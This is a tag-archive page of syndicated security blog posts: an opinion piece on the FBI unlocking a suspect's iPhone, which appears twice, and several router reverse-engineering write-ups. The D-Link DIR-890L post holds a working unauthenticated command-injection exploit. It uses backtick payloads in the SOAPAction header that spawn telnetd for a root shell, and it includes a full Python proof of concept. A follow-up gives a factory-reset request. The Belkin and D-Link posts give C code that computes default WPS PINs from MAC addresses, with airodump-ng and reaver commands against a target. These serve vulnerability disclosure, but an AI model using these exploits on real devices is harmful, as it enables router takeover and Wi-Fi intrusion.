Tag Archives: Reverse Engineering

Comments on the FBI success in hacking Farook’s iPhone

Post Syndicated from Robert Graham original http://blog.erratasec.com/2016/03/comments-on-fbi-success-in-hacking.html

Left-wing groups like the ACLU and the EFF have put out “official” responses to the news the FBI cracked Farook’s phone without help from the Apple. I thought I’d give a response from a libertarian/technologist angle.First, thank you FBI for diligently trying to protect us from terrorism. No matter how much I oppose you on the “crypto backdoors” policy question, and the constitutional questions brought up in this court case, I still expect you to keep trying to protect us.Likewise, thank you FBI for continuing to be open to alternative means to crack the phone. I suppose you could’ve wrangled things to ignore people coming forward with new information, in order to pursue the precedent, in the longer term policy battle. I disagree with the many people in my Twitter timeline who believe this was some sort of FBI plot — I believe it’s probably just what the FBI says it is: they first had no other solution, then they did.Though, I do wonder if the FBI’s lawyers told them they would likely lose the appeal, thus setting a bad precedent, thus incentivizing the FBI to start looking for an alternative to get out of the case. Whether or not this is actually what happened, I do worry that government has all the power to pursue cases in such a way. It’s like playing poker against an opponent who, when they fold, gets all their chips back.One precedent has been set, though: what it means to “exhaust all other options” therefore justifying the All Writs Act. From one perspective, the FBI was right that no old/existing technique existed to crack the phone. But their demand that only Apple could create a new technique was false. Somebody else obviously could create a new technique. I know a lot of people in the forensics, jailbreak, and 0day communities. They all confirm that the FBI never approached them to see if they could create a new technique. Instead, somebody created a new technique and approached the FBI on their own.The next time the FBI attempts to conscript labor under the All Writs Act, I expect the judge to demand the FBI prove they haven’t tried to hire other engineers. In other words, the judge should ask “Did you contact VUPEN (an 0day firm) or @i0n1c (a jailbreaker) to see if they could create a solution for you?”.Activists like the EFF are now demanding that the FBI make their technique public. This is nonsense. Whoever created the technique obviously wants to keep it secret so that Apple doesn’t patch it in the next iOS release. It’s probable that they gave the FBI Terms and Conditions such that they’d only provide a technique if it were kept secret. The only exception is if this were a forensics company like Cellebrite, which would then want to advertise the capability, to maximize revenue in the short period before Apple closes the hole. The point is, it’s the coder’s rights that are important here. It’s the coder who came up with the jailbreak/0day that gets to decide what to do with it.Is the person/company who approached the FBI with the solution a hero or demon? On one hand, they’ve maintained the status quo, where Apple can continue to try to secure their phones, even against the FBI. On the other hand, they’ve forestalled the courts ruling in our favor, which many would have preferred. I don’t know the answer. Personally, had it been me, I’d’ve offered the exploit/jailbreak to the FBI, but at an exorbitant price they couldn’t afford, because I just don’t like the FBI.Note: I doubt the technique was the NAND mirroring one many have described, or the well known “decapping” procedure that has a 30% of irretrievably destroying the data. Instead, I think it was an 0day or jailbreak. Those two communities are pretty large, and this is well within their abilities.Also note: This is just my best guess, as somebody who does a lot of reverse engineering, coding, and hacking. I have little experience with iPhone in general. I write this blog because people keep asking me, not because I feel this is what everyone else should believe. The only thing I really stand behind here is “coder’s rights”, which is what the ACLU and EFF oppose.The FBI needs to disclose this vulnerability to Apple. Right now. It’s irresponsible and dangerous not to.— Amie Stepanovich (@astepanovich) March 29, 2016DOJ: We’re not giving the iOS 0-day to Apple.Apple: We will continue to help law enforcement in other cases.Way to play hard ball, Apple.— Christopher Soghoian (@csoghoian) March 29, 2016

Comments on the FBI success in hacking Farook’s iPhone

Post Syndicated from Robert Graham original http://blog.erratasec.com/2016/03/comments-on-fbi-success-in-hacking.html

Left-wing groups like the ACLU and the EFF have put out “official” responses to the news the FBI cracked Farook’s phone without help from the Apple. I thought I’d give a response from a libertarian/technologist angle.First, thank you FBI for diligently trying to protect us from terrorism. No matter how much I oppose you on the “crypto backdoors” policy question, and the constitutional questions brought up in this court case, I still expect you to keep trying to protect us.Likewise, thank you FBI for continuing to be open to alternative means to crack the phone. I suppose you could’ve wrangled things to ignore people coming forward with new information, in order to pursue the precedent, in the longer term policy battle. I disagree with the many people in my Twitter timeline who believe this was some sort of FBI plot — I believe it’s probably just what the FBI says it is: they first had no other solution, then they did.Though, I do wonder if the FBI’s lawyers told them they would likely lose the appeal, thus setting a bad precedent, thus incentivizing the FBI to start looking for an alternative to get out of the case. Whether or not this is actually what happened, I do worry that government has all the power to pursue cases in such a way. It’s like playing poker against an opponent who, when they fold, gets all their chips back.One precedent has been set, though: what it means to “exhaust all other options” therefore justifying the All Writs Act. From one perspective, the FBI was right that no old/existing technique existed to crack the phone. But their demand that only Apple could create a new technique was false. Somebody else obviously could create a new technique. I know a lot of people in the forensics, jailbreak, and 0day communities. They all confirm that the FBI never approached them to see if they could create a new technique. Instead, somebody created a new technique and approached the FBI on their own.The next time the FBI attempts to conscript labor under the All Writs Act, I expect the judge to demand the FBI prove they haven’t tried to hire other engineers. In other words, the judge should ask “Did you contact VUPEN (an 0day firm) or @i0n1c (a jailbreaker) to see if they could create a solution for you?”.Activists like the EFF are now demanding that the FBI make their technique public. This is nonsense. Whoever created the technique obviously wants to keep it secret so that Apple doesn’t patch it in the next iOS release. It’s probable that they gave the FBI Terms and Conditions such that they’d only provide a technique if it were kept secret. The only exception is if this were a forensics company like Cellebrite, which would then want to advertise the capability, to maximize revenue in the short period before Apple closes the hole. The point is, it’s the coder’s rights that are important here. It’s the coder who came up with the jailbreak/0day that gets to decide what to do with it.Is the person/company who approached the FBI with the solution a hero or demon? On one hand, they’ve maintained the status quo, where Apple can continue to try to secure their phones, even against the FBI. On the other hand, they’ve forestalled the courts ruling in our favor, which many would have preferred. I don’t know the answer. Personally, had it been me, I’d’ve offered the exploit/jailbreak to the FBI, but at an exorbitant price they couldn’t afford, because I just don’t like the FBI.Note: I doubt the technique was the NAND mirroring one many have described, or the well known “decapping” procedure that has a 30% of irretrievably destroying the data. Instead, I think it was an 0day or jailbreak. Those two communities are pretty large, and this is well within their abilities.Also note: This is just my best guess, as somebody who does a lot of reverse engineering, coding, and hacking. I have little experience with iPhone in general. I write this blog because people keep asking me, not because I feel this is what everyone else should believe. The only thing I really stand behind here is “coder’s rights”, which is what the ACLU and EFF oppose.The FBI needs to disclose this vulnerability to Apple. Right now. It’s irresponsible and dangerous not to.— Amie Stepanovich (@astepanovich) March 29, 2016DOJ: We’re not giving the iOS 0-day to Apple.Apple: We will continue to help law enforcement in other cases.Way to play hard ball, Apple.— Christopher Soghoian (@csoghoian) March 29, 2016

Frida – Dynamic Code Instrumentation Toolkit

Post Syndicated from Darknet original http://feedproxy.google.com/~r/darknethackers/~3/9x0Md9t6IL8/

Frida is basically Greasemonkey for native apps, or, put in more technical terms, it’s a dynamic code instrumentation toolkit. It lets you inject snippets of JavaScript into native apps on Windows, Mac, Linux, iOS and Android. Frida also provides you with some simple tools built on top of the Frida API. These can be used […]

The post Frida…

Read the full post at darknet.org.uk

What the Ridiculous Fuck, D-Link?!

Post Syndicated from Craig original http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/

As mentioned in an update to my post on the HNAP bug in the DIR-890L, the same bug was reported earlier this year in the DIR-645, and a patch was released. D-Link has now released a patch for the DIR-890L as well.
The patches for both the DIR-645 and DIR-890L are identical, so I’ll only examine the DIR-890L here.
Although I focused on command injection in my previous post, this patch addresses multiple security bugs, all of which stem from the use of strstr to validate the HNAP SOAPAction header:

Use of unauthenticated user data in a call to system (command injection)
Use of unauthenticated user data in a call to sprintf (stack overflow)
Unauthenticated users can execute privileged HNAP actions (such as changing the admin password)

Remember, D-Link has acknowledged all of the above in their security advisories, and thus were clearly aware of all these attack vectors.

So, did they remove the sprintf stack overflow?
sprintf(cmd_buf, "sh %s%s.sh > /dev/console", "/var/run", SOAPAction);sprintf(cmd_buf, “sh %s%s.sh > /dev/console”, “/var/run”, SOAPAction);
Nope.
Did they remove the call to system?
system(cmd_buf);system(cmd_buf);
Of course not!
Are they using strcmp instead of strstr to validate the SOAPAction header?
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") != NULL)if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)
Pfft, why bother?
Their fix to all these fundamental problems is to use the access function to verify that the SOAPAction is a valid, expected action by ensuring that the file /etc/templates/hnap/<SOAPAction>.php exists:
A call to sprintf(), followed by a call to access()A call to sprintf(), followed by a call to access()
OK, that does at least prevent users from supplying arbitrary data to sprintf and system.
However, they’ve added another sprintf to the code before the call to access; their patch to prevent an unauthenticated sprintf stack overflow includes a new unauthenticated sprintf stack overflow.
But here’s the kicker: this patch does nothing to prevent unauthenticated users from executing completely valid administrative HNAP actions, because all it does is ensure that the HNAP action is valid. That’s right, their patch doesn’t even address all the bugs listed in their own security advisory!
But I guess nobody really cares that any unauthenticated user can query information about hosts on the internal network, view/change system settings, or reset the router to its factory defaults:

$ wget –header="SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/SetFactoryDefault" http://192.168.0.1/HNAP1

You stay classy, D-Link.

Hacking the D-Link DIR-890L

Post Syndicated from Craig original http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/

The past 6 months have been incredibly busy, and I haven’t been keeping up with D-Link’s latest shenanigans. In need of some entertainment, I went to their web page today and was greeted by this atrocity:
D-Link's $300 DIR-890L routerD-Link’s $300 DIR-890L router
I think the most “insane” thing about this router is that it’s running the same buggy firmware that D-Link has been cramming in their routers for years…and the hits just keep on coming.

OK, let’s do the usual: grab the latest firmware release, binwalk it and see what we’ve got:

DECIMAL HEXADECIMAL DESCRIPTION
——————————————————————————–
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
116 0x74 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
1835124 0x1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
1835156 0x1C0094 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 2015-02-11 09:18:37

Looks like a pretty standard Linux firmware image, and if you’ve looked at any D-Link firmware over the past few years, you’ll probably recognize the root directory structure:

$ ls squashfs-root
bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www

All of the HTTP/UPnP/HNAP stuff is located under the htdocs directory. The most interesting file here is htdocs/cgibin, an ARM ELF binary which is executed by the web server for, well, just about everything: all CGI, UPnP, and HNAP related URLs are symlinked to this one binary:

$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin

It’s been stripped of course, but there are plenty of strings to help us out. The first thing that main does is compare argv[0] against all known symlink names (captcha.cgi, conntrack.cgi, etc) to decide which action it is supposed to take:
"Staircase" code graph, typical of  if-else statements“Staircase” code graph, typical of if-else statements
Each of these comparisons are strcmp‘s against the expected symlink names:
Function handlers for various symlinksFunction handlers for various symlinks
This makes it easy to correlate each function handler to its respective symlink name and re-name the functions appropriately:
Renamed symlink function handlersRenamed symlink function handlers
Now that we’ve got some of the high-level functions identified, let’s start bug hunting. Other D-Link devices running essentially the same firmware have previously been exploited through both their HTTP and UPnP interfaces. However, the HNAP interface, which is handled by the hnap_main function in cgibin, seems to have been mostly overlooked.
HNAP (Home Network Administration Protocol) is a SOAP-based protocol, similar to UPnP, that is commonly used by D-Link’s “EZ” setup utilities to initially configure the router. Unlike UPnP however, all HNAP actions, with the exception of GetDeviceInfo (which is basically useless), require HTTP Basic authentication:

POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
<PortMappingDescription>foobar</PortMappingDescription>
<InternalClient>192.168.0.100</InternalClient>
<PortMappingProtocol>TCP</PortMappingProtocol>
<ExternalPort>1234</ExternalPort>
<InternalPort>1234</InternalPort>
</AddPortMapping>
</soap:Body>
</soap:Envelope>

The SOAPAction header is of particular importance in an HNAP request, because it specifies which HNAP action should be taken (AddPortMapping in the above example).
Since cgibin is executed as a CGI by the web server, hnap_main accesses HNAP request data, such as the SOAPAction header, via environment variables:
SOAPAction = getenv("HTTP_SOAPACTION");SOAPAction = getenv(“HTTP_SOAPACTION”);
Towards the end of hnap_main, there is a shell command being built dynamically with sprintf; this command is then executed via system:
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);
Clearly, hnap_main is using data from the SOAPAction header as part of the system command! This is a promising command injection bug, if the contents of the SOAPAction header aren’t being sanitized, and if we can get into this code block without authentication.
Going back to the beginning of hnap_main, one of the first checks it does is to see if the SOAPAction header is equal to the string http://purenetworks.com/HNAP1/GetDeviceSettings; if so, then it skips the authentication check. This is expected, as we’ve already established that the GetDeviceSettings action does not require authentication:
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") != NULL)if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)
However, note that strstr is used for this check, which only indicates that the SOAPAction header contains the http://purenetworks.com/HNAP1/GetDeviceSettings string, not that the header equals that string.
So, if the SOAPAction header contains the string http://purenetworks.com/HNAP1/GetDeviceSettings, the code then proceeds to parse the action name (e.g., GetDeviceSettings) out of the header and remove any trailing double-quotes:
SOAPAction = strrchr(SOAPAction, '/');SOAPAction = strrchr(SOAPAction, ‘/’);
It is the action name (e.g., GetDeviceSettings), parsed out of the header by the above code, that is sprintf‘d into the command string executed by system.
Here’s the code in C, to help highlight the flaw in the above logic:

/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");

/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
/* do auth check */
}

/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, ‘/’);
if(SOAPAction != NULL)
{
/* Point the SOAPAction pointer one byte beyond the last forward slash */
SOAPAction += 1;

/* Get rid of any trailing double quotes */
if(SOAPAction[strlen(SOAPAction)-1] == ‘"’)
{
SOAPAction[strlen(SOAPAction)-1] = ‘\0’;
}
}
else
{
goto failure_condition;
}

/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);

The two important take-aways from this are:

There is no authentication check if the SOAPAction header contains the string http://purenetworks.com/HNAP1/GetDeviceSettings
The string passed to sprintf (and ultimately system) is everything after the last forward slash in the SOAPAction header

Thus, we can easily format a SOAPAction header that both satisfies the “no auth” check, and allows us to pass an arbitrary string to system:

SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"

The http://purenetworks.com/HNAP1/GetDeviceSettings portion of the header satisfies the “no auth” check, while the `reboot` string ends up getting passed to system:

system("sh /var/run/`reboot`.sh > /dev/console");

Replacing reboot with telnetd spawns a telnet server that provides an unauthenticated root shell:

$ wget –header=’SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"’ http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1…
Connected to 192.168.0.1.
Escape character is ‘^]’.

BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter ‘help’ for a list of built-in commands.

#

If remote administration is enabled, HNAP requests are honored from the WAN, making remote exploitation possible. Of course, the router’s firewall will block any incoming telnet connections from the WAN; a simple solution is to kill off the HTTP server and spawn your telnet server on whatever port the HTTP server was bound to:

$ wget –header=’SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"’ http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4…
Connected to 1.2.3.4.
Escape character is ‘^]’.

BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter ‘help’ for a list of built-in commands.

#

Note that the wget requests will hang, since cgibin is essentially waiting for telnetd to return. A little Python PoC makes the exploit less awkward:

#!/usr/bin/env python

import sys
import urllib2
import httplib

try:
ip_port = sys.argv[1].split(‘:’)
ip = ip_port[0]

if len(ip_port) == 2:
port = ip_port[1]
elif len(ip_port) == 1:
port = "80"
else:
raise IndexError
except IndexError:
print "Usage: %s <target ip:port>" % sys.argv[0]
sys.exit(1)

url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
# any port; killing the http server and re-using its port
# is not necessary.
#
# Killing off all hung hnap processes ensures that we can
# re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
"SOAPAction" : ‘"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"’ % command,
}

req = urllib2.Request(url, None, headers)
try:
urllib2.urlopen(req)
raise Exception("Unexpected response")
except httplib.BadStatusLine:
print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
print "To dump all system settings, run (no quotes): ‘xmldbc -d /var/config.xml; cat /var/config.xml’"
sys.exit(0)
except Exception:
print "Received an unexpected response from the server; exploit probably failed. :("

I’ve tested both the v1.00 and v1.03 firmware (v1.03 being the latest at the time of this writing), and both are vulnerable. But, as is true with most embedded vulnerabilities, this code has snuck its way into other devices as well.
Analyzing “all the firmwares” is tedious, so I handed this bug over to our Centrifuge team at work, who have a great automated analysis system for this sort of thing. Centrifuge found that at least the following devices are also vulnerable:

DAP-1522 revB
DAP-1650 revB
DIR-880L
DIR-865L
DIR-860L revA
DIR-860L revB
DIR-815 revB
DIR-300 revB
DIR-600 revB
DIR-645
TEW-751DR
TEW-733GR

AFAIK, there is no way to disable HNAP on any of these devices.
UPDATE:
Looks like this same bug was found earlier this year by Samuel Huntly, but only reported and patched for the DIR-645. The patch looks pretty shitty though, so expect a follow-up post soon.

Reversing Belkin’s WPS Pin Algorithm

Post Syndicated from Craig original http://www.devttys0.com/2015/04/reversing-belkins-wps-pin-algorithm/

After finding D-Link’s WPS algorithm, I was curious to see which vendors might have similar algorithms, so I grabbed some Belkin firmware and started dissecting it. This particular firmware uses the SuperTask! RTOS, and in fact uses the same firmware obfuscation as seen previously on the Linksys WRT120N:

DECIMAL HEXADECIMAL DESCRIPTION
——————————————————————————–
0 0x0 Obfuscated Arcadyan firmware, signature bytes: 0x12010920, see https://github.com/devttys0/wrt120n/deobfuscator
666624 0xA2C00 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 454656 bytes

Being a known obfuscation method, binwalk was able to de-obfuscate and extract the compressed firmware image. The next step was to figure out the code’s load address in order to get a proper disassembly in IDA; if the code is disassembled with the wrong load address, absolute memory references won’t be properly resolved.

Absolute addresses in the code can hint at the load address, such as this loop which zeros out the BSS data section:
BSS zero loopBSS zero loop
BSS zeroing loops are usually easy to spot, as they will zero out relatively large regions of memory, and are typically encountered very early on in the code.
Here, the code is filling everything from 0x802655F0 to 0x80695574 with zeros, so this must be a valid address range in memory. Further, BSS is commonly located just after all the other code and data sections; in this case, the firmware image we’ve loaded into IDA is 0x2635EB bytes in size, so we would expect the BSS section to begin somewhere after this in memory:
End of ROMEnd of ROM
In fact, subtracting the size of the firmware image from the start of the BSS section results in a value suspiciously close to 0x800002000:
0x802655F0 – 0x2635EB = 0x800002005
Setting 0x800002000 as the load address in IDA, we get a rather respectable disassembly:
A reasonable disassembly listingA reasonable disassembly listing
With a reasonable disassembly, searching for a WPS pin generation algorithm could begin in ernest. When looking for functions related to generating WPS pins, it’s reasonable to assume that they’ll have to, at some point, calculate the WPS pin checksum. It would be useful to begin the search by first identifying the function(s) responsible for calculating the WPS pin checksum.
However, without a symbol table, finding a function conveniently named “wps_checksum” is not likely; luckily, MIPS C compilers tend to generate a predictable set of immediate values when generating the WPS checksum assembly code, a pattern I noticed when reversing D-Link’s WPS pin algorithm. Using an IDAPython script to search for these immediate values greatly simplifies the process of identifying the WPS checksum function:
WPS pin checksum immediate valuesWPS pin checksum immediate values
There are only a few functions that call wps_checksum, and one of them contains a reference to a very interesting string:
"GenerateDefaultPin"“GenerateDefaultPin”
There’s a lot of xoring and shifting going on in the GenerateDefaultPin code, but what is more interesting is what data it is munging. Looking at the values passed to GenerateDefaultPin, we can see that it is given both the router’s MAC address and serial number:
GenerateDefaultPin((char *buf, int unused, char *mac, char *serial);GenerateDefaultPin(char *buf, int unused, char *mac, char *serial);
MAC addresses are easily gathered by a wireless attacker; serial numbers can be a bit more difficult. Although serial numbers aren’t particularly random, GenerateDefaultPin uses the least significant 4 digits of the serial number, which are unpredictable enough to prevent an external attacker from reliably calculating the WPS pin.
Or, at least that would be the case if the Belkin’s 802.11 probe response packets didn’t include the device’s serial number in its WPS information element:
Belkin probe response packet, captured in WiresharkBelkin probe response packet, captured in Wireshark
Since WiFi probe request/response packets are not encrypted, an attacker can gather the MAC address (the MAC address used by the algorithm is the LAN MAC) and serial number of a target by sending a single probe request packet to a victim access point.
We just need to reverse the GenerateDefaultPin code to determine how it is using the MAC address and serial number to create a unique WPS pin (download PoC here):

/* Used in the Belkin code to convert an ASCII character to an integer */
int char2int(char c)
{
char buf[2] = { 0 };

buf[0] = c;
return strtol(buf, NULL, 16);
}

/* Generates a standard WPS checksum from a 7 digit pin */
int wps_checksum(int pin)
{
int div = 0;

while(pin)
{
div += 3 * (pin % 10);
pin /= 10;
div += pin % 10;
pin /= 10;
}

return ((10 – div % 10) % 10);
}

/* Munges the MAC and serial numbers to create a WPS pin */
int pingen(char *mac, char *serial)
{
#define NIC_NIBBLE_0 0
#define NIC_NIBBLE_1 1
#define NIC_NIBBLE_2 2
#define NIC_NIBBLE_3 3

#define SN_DIGIT_0 0
#define SN_DIGIT_1 1
#define SN_DIGIT_2 2
#define SN_DIGIT_3 3

int sn[4], nic[4];
int mac_len, serial_len;
int k1, k2, pin;
int p1, p2, p3;
int t1, t2;

mac_len = strlen(mac);
serial_len = strlen(serial);

/* Get the four least significant digits of the serial number */
sn[SN_DIGIT_0] = char2int(serial[serial_len-1]);
sn[SN_DIGIT_1] = char2int(serial[serial_len-2]);
sn[SN_DIGIT_2] = char2int(serial[serial_len-3]);
sn[SN_DIGIT_3] = char2int(serial[serial_len-4]);

/* Get the four least significant nibbles of the MAC address */
nic[NIC_NIBBLE_0] = char2int(mac[mac_len-1]);
nic[NIC_NIBBLE_1] = char2int(mac[mac_len-2]);
nic[NIC_NIBBLE_2] = char2int(mac[mac_len-3]);
nic[NIC_NIBBLE_3] = char2int(mac[mac_len-4]);

k1 = (sn[SN_DIGIT_2] +
sn[SN_DIGIT_3] +
nic[NIC_NIBBLE_0] +
nic[NIC_NIBBLE_1]) % 16;

k2 = (sn[SN_DIGIT_0] +
sn[SN_DIGIT_1] +
nic[NIC_NIBBLE_3] +
nic[NIC_NIBBLE_2]) % 16;

pin = k1 ^ sn[SN_DIGIT_1];

t1 = k1 ^ sn[SN_DIGIT_0];
t2 = k2 ^ nic[NIC_NIBBLE_1];

p1 = nic[NIC_NIBBLE_0] ^ sn[SN_DIGIT_1] ^ t1;
p2 = k2 ^ nic[NIC_NIBBLE_0] ^ t2;
p3 = k1 ^ sn[SN_DIGIT_2] ^ k2 ^ nic[NIC_NIBBLE_2];

k1 = k1 ^ k2;

pin = (pin ^ k1) * 16;
pin = (pin + t1) * 16;
pin = (pin + p1) * 16;
pin = (pin + t2) * 16;
pin = (pin + p2) * 16;
pin = (pin + k1) * 16;
pin += p3;
pin = (pin % 10000000) – (((pin % 10000000) / 10000000) * k1);

return (pin * 10) + wps_checksum(pin);
}

Of the 24 Belkin routers tested, 80% of them were found to be using this algorithm for their default WPS pin:
Confirmed vulnerable:

F9K1001v4
F9K1001v5
F9K1002v1
F9K1002v2
F9K1002v5
F9K1103v1
F9K1112v1
F9K1113v1
F9K1105v1
F6D4230-4v2
F6D4230-4v3
F7D2301v1
F7D1301v1
F5D7234-4v3
F5D7234-4v4
F5D7234-4v5
F5D8233-4v1
F5D8233-4v3
F5D9231-4v1

Confirmed not vulnerable:

F9K1001v1
F9K1105v2
F6D4230-4v1
F5D9231-4v2
F5D8233-4v4

It’s not entirely fair to pick on Belkin though, as this appears to be an issue specific to Arcadyan, who is the ODM for many Belkin products, as well as others. This means that there are additional devices and vendors affected besides those listed above.

Reversing D-Link’s WPS Pin Algorithm

Post Syndicated from Craig original http://www.devttys0.com/2014/10/reversing-d-links-wps-pin-algorithm/

While perusing the latest firmware for D-Link’s DIR-810L 80211ac router, I found an interesting bit of code in sbin/ncc, a binary which provides back-end services used by many other processes on the device, including the HTTP and UPnP servers:
Call to sub_4D56F8 from getWPSPinCodeCall to sub_4D56F8 from getWPSPinCode
I first began examining this particular piece of code with the hopes of controlling part of the format string that is passed to __system. However, this data proved not to be user controllable, as the value placed in the format string is the default WPS pin for the router.

The default WPS pin itself is retrieved via a call to sub_4D56F8. Since the WPS pin is typically programmed into NVRAM at the factory, one might expect sub_4D56F8 to simply be performing some NVRAM queries, but that is not the case:
The beginning of sub_4D56F8The beginning of sub_4D56F8
This code isn’t retrieving a WPS pin at all, but instead is grabbing the router’s WAN MAC address. The MAC address is then split into its OUI and NIC components, and a tedious set of multiplications, xors, and shifts ensues (full disassembly listing here):
Break out the MAC and start munging the NICBreak out the MAC and start munging the NIC
<!–
More NIC munging
–>
While the math being performed is not complicated, determining the original programmer’s intent is not necessarily straightforward due to the assembly generated by the compiler. Take the following instruction sequence for example:
li $v0, 0x38E38E39
multu $a3, $v0

mfhi $v0
srl $v0, 1

Directly converted into C, this reads:

v0 = ((a3 * 0x38E38E39) >> 32) >> 1;

Which is just a fancy way of dividing by 9:

v0 = a3 / 9;

Likewise, most multiplication and modulus operations are also performed by various sequences of shifts, additions, and subtractions. The multu assembly instruction is only used for the above example where the high 32 bits of a product are needed, and there is nary a divu in sight.
However, after translating the entire sub_4D56F8 disassembly listing into a more palatable format, it’s obvious that this code is using a simple algorithm to generate the default WPS pin entirely from the NIC portion of the device’s WAN MAC address:

unsigned int generate_default_pin(char *buf)
{
char *mac;
char mac_address[32] = { 0 };
unsigned int oui, nic, pin;

/* Get a pointer to the WAN MAC address */
mac = lockAndGetInfo_log()->wan_mac_address;

/*
* Create a local, NULL-terminated copy of the WAN MAC (simplified from
* the original code’s sprintf/memmove loop).
*/
sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0],
mac[1],
mac[2],
mac[3],
mac[4],
mac[5],
mac[6],
mac[7],
mac[8],
mac[9],
mac[10],
mac[11]);

/*
* Convert the OUI and NIC portions of the MAC address to integer values.
* OUI is unused, just need the NIC.
*/
sscanf(mac_address, "%06X%06X", &oui, &nic);

/* Do some XOR munging of the NIC. */
pin = (nic ^ 0x55AA55);
pin = pin ^ (((pin & 0x0F) << 4) +
((pin & 0x0F) << 8) +
((pin & 0x0F) << 12) +
((pin & 0x0F) << 16) +
((pin & 0x0F) << 20));

/*
* The largest possible remainder for any value divided by 10,000,000
* is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0.
*/
pin = pin % 10000000;

/* The pin needs to be at least 7 digits long */
if(pin < 1000000)
{
/*
* The largest possible remainder for any value divided by 9 is
* 8; hence this adds at most 9,000,000 to the pin value, and at
* least 1,000,000. This guarantees that the pin will be 7 digits
* long, and also means that it won’t start with a 0.
*/
pin += ((pin % 9) * 1000000) + 1000000;
}

/*
* The final 8 digit pin is the 7 digit value just computed, plus a
* checksum digit. Note that in the disassembly, the wps_pin_checksum
* function is inlined (it’s just the standard WPS checksum implementation).
*/
pin = ((pin * 10) + wps_pin_checksum(pin));

sprintf(buf, "%08d", pin);
return pin;
}

Since the BSSID is only off-by-one from the WAN MAC, we can easily calculate any DIR-810L’s WPS pin just from a passive packet capture:

$ sudo airodump-ng mon0 -c 4

CH 4 ][ Elapsed: 0 s ][ 2014-09-11 11:44 ][ fixed channel mon0: -1

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

C0:A0:BB:EF:B3:D6 -13 0 6 0 0 4 54e WPA2 CCMP PSK dlink-B3D6

$ ./pingen C0:A0:BB:EF:B3:D7 # <— WAN MAC is BSSID+1
Default Pin: 99767389

$ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389

Reaver v1.4 WiFi Protected Setup Attack Tool
